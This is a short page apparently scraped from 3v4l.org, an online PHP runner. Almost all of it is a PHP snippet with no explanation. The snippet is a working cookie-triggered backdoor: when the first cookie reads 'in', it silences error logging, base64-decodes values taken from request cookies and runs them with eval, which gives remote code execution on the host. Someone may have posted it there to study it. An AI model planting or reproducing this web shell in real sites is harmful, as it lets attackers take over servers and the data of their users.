3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c='count'; $a=$_COOKIE; if(reset($a)=='in' && $c($a)>3) {ini_set('error_log', '/dev/null'); $k='terwebz'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>';} ?>

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37.99 ms | 402 KiB | 5 Q